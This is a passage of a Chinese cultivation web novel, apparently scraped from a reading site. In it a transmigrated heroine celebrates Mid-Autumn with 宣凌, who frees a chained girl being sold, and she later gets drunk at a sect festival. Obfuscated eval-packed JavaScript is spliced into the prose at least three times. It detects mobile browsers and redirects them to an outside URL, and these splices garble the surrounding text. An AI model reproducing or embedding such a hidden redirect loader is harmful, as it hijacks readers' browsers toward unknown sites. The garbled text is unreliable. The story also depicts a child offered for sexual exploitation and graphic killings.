这可苦了常栩，不光要演戏，每天还要考虑吃什么这种事。 她百思不得其解地问系统：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362917|183775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我记得原著中提到过，宣凌这小子吃不惯人族的食物，怎么突然变口味了？难道得了异食癖？” 系统：【……你就当他是吧。】 令人头大的还有王乌，这只鸟是宣凌毒唯，每天上蹿下跳地想争宠，不知道吃得哪门子的醋，盯着常栩找茬。 常栩一个头两个大。 正巧这天外永川镇好像有活动，她想出去逛逛，就拉着宣凌让他陪自己，留王乌在院子里看门。 王乌表示抗议，但抗议无效，只能在院子里无能狂怒。 常栩走出庭院，才知道这天是中秋节。 初觉得惊讶，又想连七月十五的鬼节都有，八月十五的中秋也非异事，这本书本来就是现代人写的，总共就那几个节日，还能写出花来？ 宣凌却是真的不知道这是什么节日，倒是看得新奇。 街道旁边有几个附近的婆子闲来无事，见常栩身旁的宣凌，纷纷眼冒精光，称赞这小公子相貌非凡。 有一个婶子想把认识的姑娘介绍给他，被旁边人阻止：“你看不出来吗，那小子肯定是喜欢那什么、叫裳儿那丫头，你去凑什么热闹？” 婶子讶异说：“不对啊，我这两天一直盯着，他们不是兄妹吗？” 婆婆说：“老婆子我见多识广，什么事儿没见过？就算是亲兄妹都……何况这两个人只是半路碰到的兄妹。要不然，你看他的衣服是苍华派的修真者，留在这里还能是为了什么？” 婶子觉得说得对，遗憾又欣羡：“罢了，算我孙女这次没福气。” 常栩只听到婆婆们压低声音议论，觉得在说自己，问宣凌她们在说些什么。 宣凌勾起嘴角，却说不知道，弄得她莫名其妙。 两人很快来到一处桥边，人来人往，十分热闹。没走多久，宣凌看到人们在空地上放天灯。 他看着空中的光亮，问这是什么。 常栩科普说：“这是祈福用的天灯，中秋这天，人们可以亲手在灯上写下心愿、放飞空中，说不定会有神仙看到。” 宣凌听了，若有所思。 “小生见过姑娘。” 没过多久，一名书生拿着天灯走过来，恭恭敬敬行礼，对常栩道：“有缘相见，小生见姑娘面相极佳、福泽深厚，烦请姑娘帮小生点天灯。” 这话说得好听，常栩觉得不过是举手之劳，就同意了。 刚点上烛火，下一瞬间，“啪”一声，灭了。 宣凌收回衣袖，似乎无事发生。 书生瞥了他一眼，耐心地再点一次。 “啪”，又灭了。 书生终于生气了，不满地问宣凌：“这位公子什么意思，我看在姑娘的份上才不与你计较，若是再找茬，小心我——” 话还没说完，宣凌已经随手抽出怀中的匕首，看样子又准备杀人了。 常栩：“……” 脾气太坏了！这么多人看着呢！ 常栩赶紧拉住宣凌的手臂，夺下他手中的短刀藏在身后，给书生赔礼道歉，也不管对方说什么，慌忙将宣凌拉走。 走远了些，才无奈道：“你若是不喜欢这里，那我们就回家。” 她心想这家伙平时在苍华那边都装得人模狗样，可为啥在她面前这么沉不住气？ 宣凌停下不走，斜看摊子上的孔明灯，突然说：“上次在焕山，你说过要一起放河灯。” 常栩心领神会，小跑着到摊位上买了一个天灯，抱着回来送给宣凌，仰着头道：“我们一起放吧！” 宣凌这才露出笑意，满意了。 天灯高飞，久久未息，最终隐入璀璨的万千星光之中。 同时，数道烟花在空中炸开，映透了永川镇热闹的夜晚，伴随着周遭此起彼伏的欢声笑语。 常栩也被这一幕所感染，难得放松了些。 待到烟花散尽，重回昏暗，常栩觉得这一日已经逛够了，打算就此回去，忽然听到前方一阵喧闹。 高台之上，两个黑袍大汉拉扯铁链，高声嚷嚷：“大家！快看过来，我这里有上好的宝物要卖！” 虽是如此说，锁链的尽头，常栩却看到了一个少女的身影。 她停下脚步。 28. 第二十八章 声名赞誉 人群之中，两个虬髯大汉站在高台上，介绍脚边被锁链贯穿琵琶骨的少女。 “诸位瞧好了，这可是天生上等的纯阴之体，万中无一，我们兄弟也是费了不少精力才得到的。” 满是刀疤的粗壮手臂抓着少女的下颌，强迫她面相围观的百姓，自信道：“模样也不错吧？才十二三岁，还是处子之身，嘿嘿，若带回去做炉鼎，定然大有裨益！” 淫邪的笑声十分张扬，少女满眼恨意，挣脱不得，直接张开嘴狠狠地咬了过去。 这点力道对大汉来说自然不算什么，可他还是生气了，重重地将少女摔在地上，随后挥出几鞭子，嘴里骂骂咧咧。 “给我老实点！不识相的东西，再惹老子，就把你卖到窑子里去！” 少女抹了一把嘴边的鲜血，脸上毫无惧意，只有狼崽子一般凶狠的仇恨：“你们最好能把我卖出去！否则，我一定杀了你们为我爹娘报仇！” 围观人群中有人听到这少女是纯阴体，暗自有了几分兴味。但见她如此不服管教，有多少有些迟疑了。 也有心善之人于心不忍，小声议论这姑娘是从何处而来，听她口中所言，莫不是这两个汉字杀人夺女？ 道清盟治下的修真界，相较先前几十年，确实少了许多乱象，但很多顽疾根深蒂固，病灶难除，在看不见的地方，仍存在这类弱肉强食的买卖。 只是永川镇毕竟在苍华派脚下，一般而言，很少有人敢明目张胆来此放肆。 想来是因为中秋节日，四面八方往来众多，城关把守疏忽，给了这些外道偷入的机会。 两个大汉听到周围人指指点点，竟无一人敢买，大失所望，暗骂一声娘，“都是一群没胆子的鳖孙！” 白跑一趟，又将满肚子气撒在少女身上，骂她勾引不到男人，另一个人已经抬起鞭子，就要甩过去。 “宣凌哥哥……” 常栩扯了扯宣凌的衣袖，小声唤道。 鞭子即将落下之际，两道锋利的冰凌从人群中打出，不偏不倚击中大汉的手腕。 钝痛袭来，鞭子落地，大汉出声痛呼。 另一名同伴反应过来，厉声问道：“是谁！给我出来！” 人群一时间没反应过来，各自朝身后张望。 大汉可不管这个，只道有人挑衅。他今日心情本就不好，索性甩开了鞭子，胡乱打在人群中，半是寻人，半是为了发泄。 围观百姓知道不宜久留，立时四散分逃，不一会儿就空出一大片地方。 唯有宣凌和常栩站在原地，稳稳不动。 扫了眼宣凌的衣着装束，大汉的动作顿了下，道：“原来是苍华派的人，不再山上求仙问道，管什么闲事？” 宣凌懒得与他废话，用手指着刚爬起来的少女，只说三个字：“放了她。” “可以啊。”大汉挑眉道，“我们是生意人，讲求一个公平，公子给钱就行。” 宣凌却道：“你们如何抓的她，我就如何带她走，这才是公平。” “臭小子，我看你是存心搅局！” 两名大汉大怒，转瞬间同时出招，功法甚是狠辣，招招直取咽喉！ 宣凌闪身轻盈避开，看了下身后，特意跃到远离人群的空地。 常栩见三人走远，趁机拉着少女躲到一旁，伸的出手却被对方打掉。 漂亮的眼睛中充满警戒和防备。 常栩说明自己与宣凌是一道的，且没有修为，伤害不了她，才让对方放下戒心。 “我们先离开吧，你身上……可能需要去医馆一趟。” 穿透少女骨骼的锁链似已经长入血肉之中，常栩看着都疼，暗自吸了一口气，不敢乱动。 少女却摇了摇头，混若无觉，执拗地盯着战斗的三个人。 对于宣凌来说，这两个大汉并非敌手，很快便分出了胜负。 他随手从地上捡起一把破剑，只用了几招，就将两个人打倒在地，利落地削了半寸脚筋。 两人抽搐着瘫在地上，识时务地求饶，说再也不敢了。 宣凌本来也把这两个人当回事，先看向常栩。他不想在少女面前杀人，就将剑扔在地上，让他们赶紧滚。 常栩扫了眼这柄破剑，想起先前送的虚名剑已经毁在太阴城了，心念一动。 两个大汉捡回一条命，互相搀扶着，正要爬起来。 常栩身边的少女却突然冲过去，手中拿着匕首，毫不犹豫地插入其中一人的胸口。 “你——” 话只说了半句，另一个人也很快被割喉，瞪大了眼睛直直倒下，死不瞑目。 少女蹭了蹭脸上的血，声音冷静得吓人：“爹、娘，我给你们报仇了。” 转过身来，这张脸上一滴泪也没有，流露出与这个年纪不相符的决然与狠辣。 宣凌对此颇为赞赏，点了点头。 常栩也觉得这姑娘非同凡响，不过目前来看，最需要的还是养好身体。 等少女发泄完，常栩从荷包里拿出几块银子，让她找地方安顿。 宣凌则抬手运送灵力，片刻之后，身上的锁链“铿”地断裂，化为齑粉。 少女接过银子，说了声谢。而后定定看着宣凌，问：“我可以像你一样强吗？” 宣凌说：“那就要看你的本事了。” 他随手从袖中拿出一本秘籍。少女拿到之后，郑重跪下，向二人磕头：“今日之恩，必然不忘。” 此事告一段落，宣凌没了兴趣，拉着常栩要往回走。 这才发现，远远地有不少人围观他们二人，见他们看过来，还有人发出喝彩。 “我看这位少侠品性非凡，有菩萨心肠！” “是苍华派没错吧？真是不同凡响！” “我听闻太阴城之事也有赖苍华，连天元宗都另眼相待呢！” 宣凌听见了这些赞赏，心里涌出奇怪的感觉。他作为魔族，本性嗜杀，加入苍华不过权宜之计，更是从未在意过对这群人族。 但是今日—— 他看向身边双眼含笑，称他是“大英雄”的常栩，心里的某一处突然软了下去。 行侠仗义、岁月静好，竟是如此安然。 第二天，常栩刚起床推开窗户，看到院中的宣凌手中拿着沾有海棠花瓣的飞信。 努力压住嘴角，她如愿听到了他要回苍华派的消息。 “门派雅集，不容缺席，我须回去了。” 依依不舍地将宣凌送走，关上大门，常栩的脸一下子垮了下去，满脸疲惫。 她二话不说，匆匆上床换回许长生的身体，在昀秀峰顶一睡就是一天一夜，将失去的精力狠狠补回来。 这次总算没人来打扰。 再度起身，伸了一个懒腰后，常栩询问系统下一个剧情点，还要等到庆功宴后，更觉无事一身轻。 【距离宿主完成全部任务还剩六个剧情点，还请宿主再接再励！】 六个？ 常栩掰指头一算，距离许长生的结局还有一年半时间，六个任务平均下来时间充裕得很，终于不用先之前那样急切了！ “师姐？” 明曦在外面拍门，常栩中断了与系统的交谈，出门询问情况。 “师姐，您快去庚微长老那里一趟吧，是关于韩师兄的事情。” 在去戒律堂的路上，常栩从明曦那里了解到，原来是因为岳婉吟私自来了苍华，杜泽良得知后气不过，大笔一挥写了封信，大概说了些不好听的话，惹得庚微气恼。 岳婉吟毕竟是外人，不好惩罚，那便由“招惹事端”的韩尚同代过，从早上起就跪在了戒律堂的外面。 黑衣青年跪在阶下，脊背挺直，神态平和。 一道纤细的身影与他的影子重合，一同跪下。 韩尚同偏过头，看着面容恬静的温婉少女，道：“你不必如此。” 岳婉吟问：“这是我的过错，为何要韩公子跪下？大不了，庚微长老将我赶走就是。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362918|183775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >韩尚同沉默片刻，低声道：“我却正是为此而跪。因为我不想岳姑娘被赶走。” 他的说完，岳婉吟怔了一瞬，不知是不是日头有些热，脸上浮现浅浅的绯红。 韩尚同继续说：“岳姑娘来这里，我很高兴。上次在太阴城中，若非岳姑娘，我无法走出幻境。” 岳婉吟忙说：“是你帮我了才对，我也没想过，那幻境竟是那样…… 似是同时想到什么，两个人俱是没有说出口，不约而同地移开了目光。 不远处的草丛中，大大小小的几个人躲在树后，静悄悄地看着韩尚同和岳婉吟。 还是江霓最先问出来了：“不是说好了一起向庚微长老求情吗？为什么要停在这里？” 陆小满骂她笨：“你傻呀，现在韩师兄可不需要我们。你没看到嘛，他和岳婉吟两个人有情话要说，我们还是别去打扰了。” 自从太阴城一行，陆小满对韩尚同大为改观，终于也管他叫“师兄”了。 莫震宇点了点头，但还是说：“可这不是办法，万一庚微长老真把岳姑娘送走可咋办？此事还得大师姐出马。” 陆小满说：“师姐这几日都没出门，宣凌也不知去了哪里。” 江霓想起那日两人合力救自己，心直口快地说：“大师姐和宣师弟两个人的关系比以前好很多了。” 一说这个，陆小满和沈星河就都看了她一眼。 莫震宇看他们神情各异，十分好奇：“我说，你们在太阴城中到底经历了什么？怎么每个人都话说一半，神神叨叨的！” 陆小满懒得解释，说：“这你就别管了。你只要知道，我们现在可都强了不少，小心这次评比落得最后，连江霓都比不过！” 莫震宇不以为意：“这才几天呀，哪有可能！” “哎，师姐来了？” 常栩一出现，几个人顿时忘了自己在什么地方，“刷”一下从草丛中跳出来，惹得韩尚同和岳婉吟同时回头，惊讶地看着他们。 常栩扫了这群浑身树叶的师弟师妹一眼，忍住笑意，也没管跪着的两个人，径直走进了戒律堂内。 莫震宇有些怀疑：“大师姐真是会求情吗？” 其他人却深信不疑，陆小满说师姐嘴硬心软，定然求情。 常栩见庚微刚写好一封信，心领神会地问：“长老要留下岳婉吟吗？” 庚微咳了一声，还想嘴硬：“她非苍华派弟子，我又如何能……” 常栩眼疾手快，一把展开桌上的信，扫了一眼，笑了。 信中的话语夹枪带棒，还有几句骂人的话，可见是被杜泽良烦坏了，说什么也要怼回去，并且表示得让岳婉吟参加完庆典后再走。 “我就知道，庚微长老是护短之人，必不会让那杜泽良吓到。” 庚微哼道：“下不为例。既然知道，还不去告诉他们，一群人在外面烦死了。” 常栩说还有一件事。她向庚微提出，今年也要参加弟子之间的评比。 “哦？” 庚微觉得意外。 苍华第一的位子，许长生已经守了七八年了，去年以来因有韩尚同步步紧逼，一直接口有伤未曾参加。 对于她而言，这是她保有体面的方式。 可这并不是常栩所看重的。 所以她点了点头，确认道：“我今年也会参加。” 出门后，面对殷切围着自己的一群师弟师妹，常栩有些招架不住，说庚微长老已经消气了，都快散了吧。 说话间，宣凌也赶来戒律堂。 常栩没想到他这时候来了，马上收敛了笑容，维持人设，哼了一声离开。 莫震宇悄悄问宣凌：“以前师姐总找你，现在怎么不理你了？你是不是惹到师姐了？” 宣凌说：“大概是师姐看我愚钝，不愿与我多言。” 莫震宇奇怪道：“怎么偏偏独对你这样……” 宣凌垂下眼睛。 是啊，偏偏对他如此。 29. 第二十九章 假酒害人 苍华派的庆典一年一度，除去祭天祭地这类标准流程，比较值得一提的就是弟子之间的比试。 比赛规则大体是擂台赛模式，最终获胜者为“首席”——也不算什么有用的头衔，只是荣誉性称号，但架不住有人在意。 近十年以来，许长生就一直拔得头筹，名副其实的第一人。直到韩尚同的到来。 按照原著，太阴城过后，许长生因为心魔阵而陷入困境，实力已然不如韩尚同。 可她不甘心，为此百般推脱宗门比试，最后还是在剧情推动下不得不与之对上，不出意外地败了。 反正，不管怎么说都是要打一场、丢个脸的，常栩想着少走些弯路，索性直接参加评比。 目前是其他弟子们的对决。 常栩坐在席间，宣凌、陆小满等人都坐在她身边不远处，围着她叽叽喳喳地议论。 陆小满先是对上莫震宇。她最近修为有所提升，原本与莫震宇不相上下，现下却轻而易举地赢了，正自得意，又抽中了江霓。 江霓一边喊着“下手轻一点”，一边不知轻重地下手，乱拳打死老师傅，竟然将陆小满逼到了擂台下。 谁也没料到这个结果。 陆小满和莫震宇两个人都很震惊，又都不服气。 江霓则以为是陆小满在放水，还挺感动的，气得她说等我下次一定打败你！ 当然，江霓也没自信多久，就被沈星河三两下打掉了武器，回到席间哭着求安慰，被另外两人大声嘲笑。 除了这三个活宝之外，另外值得注意的，就是宣凌。 他没再隐藏实力，顶着一脸纯真笑容，出手却又快又狠，让师兄师姐们叫苦不迭，一路打到韩尚同才落败。 即便如此，所有人也都对他刮目相看了。 到了最后一场，常栩对上韩尚同，落在台上，平静地呼出一口气。 若说没有胜负欲，那是不可能的，更何况她的修为已比原著中的许长生高处不少。 即便是男主，也不能让她主动投降，她决心拼尽全力。 赤荧剑燃着幽蓝火焰，在少女的手中划出灼人的气流，明亮而夺目，宛如一道青色雷光，映透了整个广场。 韩尚同知师姐的实力非同小可，不敢怠慢。 二人的招式一快一奇，对战良久，最终还是常栩后继乏力，不得已退到了擂台边缘。 “我输了。” 常栩心想果然打不过男主，没再继续。 众人一边赞叹这场精彩的比试，一边又惊讶于大师姐竟然这么快就认输，且姿态坦然，全无不甘。 此等境界，令人钦佩！ 常栩又听到了上涨的威望值，有些脑壳痛。 这群人又脑补了些什么？ 就连谢千景都露出欣慰的笑容：“长生之举，堪为表率。如此，我也能放心将苍华派交给你了。” 常栩：“……” 什么意思？ 常栩满脑子疑惑地回了座位，埋头吃喝。 别说，苍华毕竟也算一方门派，桌子上的食物和酒水都属上乘，比永川镇的好吃多了。 一边吃着，她一边心想谢千景方才所言。 原著许长生有一个较为关键的剧情点，就是当宣凌在道清大会上暴露魔族身份之后，以此为理由强逼谢千景闭关、夺取苍华派掌门之权。 现在可好，用不着她强夺，谢千景就乐呵呵地将掌门之位送上来了。 常栩有些郁闷，又喝了一口酒，才注意到已经见底了。 她后知后觉地眨了眨眼睛。 系统：【忘了提醒宿主，这副身体不会喝酒。】 常栩：……巧了，我也不会。 下一刻，她就什么想法也没有了。 “长生？” 谢千景第一个注意到常栩的异样，见她低着头愣愣盯着桌子，出言询问。 “掌门……” 少女的声音含混不清，像是呓语。 即便如此，原本坐在高台的谢千景还是立时起身，轻盈地落在席间，细细听她说些什么。 “怎么办……掌门待我太好了……” 常栩支着下巴自言自语，听到动静，缓慢抬起头，朦胧的眼中倒映出谪仙般的身影。 “虽然管得太多有点烦，但真是个很好的师尊，可惜我不是……哎？” 常栩夸张地捂住自己的嘴，闷闷地说：“糟了，差点把秘密说出去！” 谢千景觉得好笑，顺着问道：“什么秘密？” “可不能说……”常栩摇了摇头，又道，“看你这么想知道，我用宣凌的秘密和你换怎么样？听了他的，可不能问我的了哦！” 她似乎说得很小声的样子，却无意识地用了灵力，清透的声音回荡在广场的每一个角落。 宣凌眸光一暗，马上起身走到常栩身旁，抓住她的手腕，有些不好意思地说：“师尊，师姐喝醉了，我送她先行……” 话没说完，常栩露出计谋得逞的笑容，“啪”的一下，两只手捏在宣凌脸上。 “嘿嘿，抓住啦！”她用手指点来点去，数落道，“秘密就是，这家伙其实很会装的，明明很在意有没有人关心自己，却什么都不说！师尊你可不能太偏心哦，万一宣凌生气了，后果很严重的！” 宣凌：“……” “成何体统。” 谢千景伸手按下了常栩胡乱摸的手腕，似乎想将她从宣凌身上扒拉下来。 常栩傻乐着打了一个嗝，觉得有些困了，也不管自己现在身在何地，只道困了就要睡觉，于是摇摇晃晃地倒在了宣凌的肩上。 “……” 在场的所有人都没想到会有这么一出，互相对视一眼。 喝醉的大师姐与平日全然不同，少了几分生人勿进的冷意，竟然有些……可爱。 “噗呲。” 有人笑出了声。 谢千景无奈地叹了口气，轻声唤了几句，都没反应。 “我差点忘了，这孩子不胜酒力。” 看着少女酡红的脸庞，谢千景的神情不自觉柔和了许多，对宣凌说：“将她交给我吧……” “掌门。”穆蘅突然开口，“长生有宣凌送回昀秀峰就好，您还是留在这边把。” 谢千景的指尖擦过常栩的发丝。 他缓缓垂下衣袖，良久，点了点头，对宣凌说：“那就交给你了。” 顿了下，想到常栩刚才的话，谢千景又说：“长生说得对，是我待你不周。听长生说你是水灵根，鸣鹤谷适合你，可以多去修炼。” 宣凌本想推辞，听对方这么说，在拒绝就有些不识好歹了，于是恭敬道：“弟子遵命。谢过师尊。” 走出云上阁，宣凌背着常栩缓缓走下山路，越过持灯人影、穿过寻防弟子，直到四下无人之时，他脸上的笑容才淡下去。 听着背上之人平稳的呼吸声，他开口问道：“师姐，你都已经知道我的身份，为何还信任我？笃信我不敢在此动手吗？” 初遇那时，宣凌与许长生订下的“心契”，以双方伤势痊愈为归依，在此之前，任何一人若杀了对方，必受同等反噬。 如今，他的伤势只剩下最后一点，相信以宝典的功效，许长生的伤也已大好。 心契正在减弱。这种情况下，约束力已经大不如前。 宣凌即便无法杀许长生，重伤对方应是不在话下。 加之魔族已经找到他了，危冥山也有很多事情要做，在这里耽搁的越久，那便就…… “咦？” 常栩哼唧一声，迷迷糊糊地抬起眼睛，看到头顶星光璀璨，疑惑道，“我回家了吗？” 在与宣凌四目相对后，她失望地撇撇嘴，又搓了搓对方的脸：“又是你……什么嘛，原来还是在这里……我好想家啊……” 宣凌甩开她的手，问：“这里不就是师姐的家吗？还有何处要回？” 常栩认真地摇摇头，贴在他耳边说：“才不是呢！我的家，在一个谁也找不到的地方……我再也回不去了。” 宣凌对许长生的身世有所耳闻，知道她母亲因带她来此而被族人抛弃，再也未能回去过。 常栩喃喃道：“即使回去了，也和以前不一样了。不会有人在等我。” 听到这句话，宣凌难得有了动容：“是啊，连亲人都不在了，回去又有何用？” 也许是因为找到了一瞬的共鸣，宣凌暂且放弃了杀与不杀的试探，将常栩完好带回了昀秀峰。 明曦也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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随即，她又想起宴会上发生的种种，哀嚎一声，抱着头在床上打滚，一边觉得丢人，一边又觉得好像又ooc了，不知道会不会影响剧情！ 系统问：【还喝酒吗？】 常栩痛定思痛：“不喝了，再也不喝了！” 好在陆小满等人都知道大师姐爱面子，默契地不在她面前提起，事情很快就过去了，并没有太大影响。 几天后，下一个剧情点如期而至：【请宿主推动宣凌对岳婉吟告白。】 自从太阴城以来，韩尚同和岳婉吟之间的感情快速升温，惹得许长生十分不满。 或许是出于同为“暗恋者”的敏锐度，她注意到宣凌喜欢岳婉吟，于是心生一计，认为只要这样就没人能和她抢韩尚同了。 当然按照惯例，恶毒女配的这种行为都是助攻而已——原著中，宣凌的告白被拒绝，事情传开后，推动韩尚同意识到自己对岳婉吟的重视，进而确定关系。 常栩一边感叹自己真是工具人，一边赶往竹月堂。 这个任务还算简单，她只需要从岳婉吟下手，让她主动去关心宣凌就行。 可是当她站在竹月堂外，岳婉吟却并不在里面。 询问周围的弟子们，不知为何，只见他们百般遮掩，顾左右而言他。 还是练剑归来的沈星河老实，不咸不淡地说：“岳姑娘，宣师弟，一起离开了。” “什么？” 常栩愣了一下。还有这种好事？不用她出手，任务自己就完成了？ 几名师弟师妹龇牙咧嘴，露出“这事儿怎么能说”的神情，赶紧将沈星河拉走。 其他人还在那欲盖弥彰，小声解释道：“师姐，岳姑娘和宣师弟应是没什么，您千万不要多想。” 常栩一脸莫名其妙，为什么不多想？这正是她希望看到的啊。 也许是她的疑惑过于明显，有个师妹大着胆子问道：“那个，师姐，您不是喜欢宣师弟吗？” 常栩：“……” 什么时候的事儿，她怎么不知道？ 30. 第三十章 两厢情悦 岳婉吟走下天雪峰，来到了鸣鹤谷。 她打听到，谢千景前些日子允许宣凌入禁地修行，便找来这里。 宣凌站在鸣鹤谷的入口，凝望镌刻着“禁”字的界石，想的是两件事。 昨夜高羡麟传书，说归弥和季聆雪等人要他速速了结人界之事，尽快回到危冥山主持大局。 道清盟下的诸仙门除魔务尽，魔族在人界犹如过街老鼠，若一直隐匿倒还好，可自那日季聆雪围杀苍华以来，人界警戒四起，不便久留。 另一方面，却是穆蘅长老说他宜在鸣鹤谷内闭关修行，净心凝气，方能大有进益，不宜为外界所动。 山中无日月，何时能够出来，只有修行者自己知晓。 一步之遥，两相取舍。孰轻孰重，于宣凌而言，竟一时难以分辨。 岳婉吟的出现打断了宣凌的思绪。 收敛了压得凝重的眉眼，他露出浅笑：“岳姑娘何事找我？” 岳婉吟看着面前少年，要说的话不知为何停在嘴边。 从不息山到焕山鬼市，再到太阴城，她与这位苍华师弟有了些交情，对方也始终温和待人，便以为称得上一声“好友”，有了交心的念头。 何况今日要说之事，与他们二人密切相关，并无不合适的地方。 可是，或许是因为心中有所思虑，故而格外敏锐。 当与宣凌四目相对，电光石火间，这位青离宫最有天分的弟子，忽地抓住了一直以来的几分异样—— 乖巧之外，毫无情感，如同笔直的绳墨，划定一道找不到任何差错的线，将进一步的深交隔绝在外。 若说许长生是鲜明灼人、让人不敢靠近的火，那么宣凌就是隐于深水的冰，给人仿佛触手可及的幻觉。 时至今日，岳婉吟才算真正认识了宣凌。 她心下不定，透在了尚不会隐藏心绪的脸上，倒显得话说一半，不上不下的，有些滑稽。 宣凌耐着性子又问了一遍：“岳姑娘，可是为了韩师兄之事而来？” 岳婉吟这才回过神来，观察少年面容淳朴，心道，她怎么会生出这种想法？ 旁人也就罢了，宣公子可是几次三番帮助于我，即便真有什么，也是天生性情使然，且未曾表露，我怎能因一个表情就起这无根无由的疑心呢？ 这么想着，岳婉吟很快释然，抿唇道：“宣师弟果真敏锐。我确实是为韩公子而来。想来师弟也知晓，我是私自来的苍华，庚微长老能留我到此时已属开恩，最多不过两日，我就要离开了。下次再见，只能等到在半年后的道清大会，还不知道是否有有缘……” 她微微皱了皱眉，清丽无双的白玉面容上浮现几分沾染秋水的惆怅，幽幽道：“我想知晓，韩公子心中是否有我的位置。” 此言一出，表明这位万众瞩目的青离宫大弟子、名动修真界的第一美人，已经爱上了韩尚同。 纵容患得患失，忧心是否自作多情，终究说得坦诚，无愧于心。 宣凌并不理解岳婉吟所言。 即便他是魔界数一数二的聪明人，能仅凭观摩便学会人族的喜怒哀乐，装出一副最不引人瞩目的乖顺模样。 可这情爱之事，他实不知。 危冥山中、梁皇宫内，少年殿下跟在人族公子身旁，从侍从、婢女们口中，听闻魔尊当年微服人界，对他的父亲一见钟情，遂带回危冥山，结了红丝契。 这是爱吗？ 不通情爱的魔族，像模像样地分析起来：“韩师兄虽待人宽和，却少近女色，心头唯有修炼除魔。唯独对岳姑娘是不同的，每当你有何不妥，韩师兄都会忘了正在做的事情，便只想着你。” 听了宣凌的话，岳婉吟眉间的紧张消去了许多。 其实她未必需要宣凌这几句无关痛痒的话，可她因情心乱，实在想寻个安心。 心安过后，便是反客为主。 “我见宣公子方才犹豫，是否是因为裳儿姑娘？” 宣凌顿了下，没有否认。 岳婉吟微笑道：“宣公子纠结之事，当说与裳儿姑娘听。她虽然不是修行之人，但我相信，定会帮公子指一条明路。” 宣凌沉默片刻，突然问：“韩师兄那边，岳姑娘打算如何？” 岳婉吟并未隐瞒：“后日韩公子就要从秘境中出来，我便在那里与他表明心意。” “表明心意……” 这几个字沾染着缱绻情意，柔和得不可思议。 宣凌喃喃重复一遍，脑中如天光涌入，霎时清明。 界内界外，原来只差这一念之差。 如若是为了心头之人，多在人界留上一留又如何？ 随即，宣凌又问：“岳姑娘没有想过，如若韩师兄拒绝了您，又当如何？” 真心的请教。 岳婉吟却觉他问得奇怪，道：“若是他对我无意，那就放手，以后不再打扰。” 她说得理所当然，很快告辞，走得轻盈洒脱，并不以此为负担。 宣凌站在原地，眸光微闪，缓缓摇了摇头。 若能放手，便不是爱。 魔尊猝然陨落之际，唯一与之结了红丝契之人，也在半刻之间蜷缩着倒地，同时殒命。 宣凌抚着流过红色细光的手腕，垂下了眼眸。 至死不休，方才是爱。 * 岳婉吟要等到后日，宣凌却不需要。第二日，他就径直下了山，又跑去了永川镇。 常栩打听到他和岳婉吟在鸣鹤谷聊了好半天，之后岳婉吟循着韩尚同所在的秘境而去。 虽然有细节上的不同，但大体上，还是按照原著来的——宣凌告白失败，岳婉吟找韩尚同确认心意。 至于为什么去永川镇，可能是失恋了需要有人安慰？ 常栩未觉不妥，还想着这种时候趁机陪伴，肯定能刷好感度！ 于是她变成裳儿等在家里，不出意外地看到宣凌来找自己。 常栩偷偷打量宣凌的脸色。 嗯，还行，眼睛没红，也没有发怒的迹象，情绪隐藏得还不错。 宣凌定定看着常栩，冷不丁地、没有任何征兆的，问了三个问题。 “你先前说过会陪着我，还作数吗？” “若我去比太阴城还远得多的地方，你会愿意跟着我吗？” “你讨厌我吗？” 说得仿佛竹筒倒豆子般随意，等待的几息之间，却又骤然安静，漫长得有些难熬。 宣凌自认为在“表白心意”，常栩却觉得，这小子是在受了情伤之后找寻安慰来了。 “当然。宣凌哥哥去的地方，不管有多危险，我都愿意跟着。” 常栩不假思索地回答。对于第三个问题，更是斩钉截铁道：“我怎么会讨厌宣凌哥哥呢！” 不讨厌，那便是喜欢了。 宣凌觉得自己听到了石落水潭清脆的回响，震荡在心间，让流淌的血液烫了不少。 “那，你喜欢留在这里吗？” 这个问题轻声细语，却牵扯万千。 宣凌不知道当年他的魔尊母亲有没有问出这句话，但他问了。 这也意味着，对方的回答，他会听。 所以，当听见常栩认真说“在这里很开心”之后，宣凌点了点头。 “那好，就留在这里。不必走了。”他眉眼中的柔和突破了界限，水一样溢出，“我陪你一起。” 说出了自以为的“情话”，宣凌胸口震荡，也不管常栩作何反应，自己先行落荒而逃了。 常栩：“……” 听宣凌说了一通莫名其妙的话，她十分疑惑，觉得今日的他有些怪，莫不是被打击得精神错乱了？ 搞得好像喜欢她一样，怪吓人的。 ……嘛，想想也是不可能的。 常栩被自己的天马行空逗笑了。 原书设定上的“一见钟情”，男二当然只会爱女主一人啦。 系统通报任务完成的消息姗姗来迟。 常栩打趣道：“啧，人家早就表白完了，你这通报怎么还有延迟啊？” 系统：【……】 算了，不该说的不说。反正任务已经完成了，其他的它才不管。 * 次日一早，常栩不紧不慢地走到广元堂，心想着，韩尚同也该出事了。 大约五日之前，韩尚同在修行之际意外步入化境，在灵气指引下探得永川镇南方的休过崖下出现秘境。庚微即刻派下弟子同他前去，至今未回。 所谓秘境，乃天地灵气自然形成，往往有灵石灵兽生长其 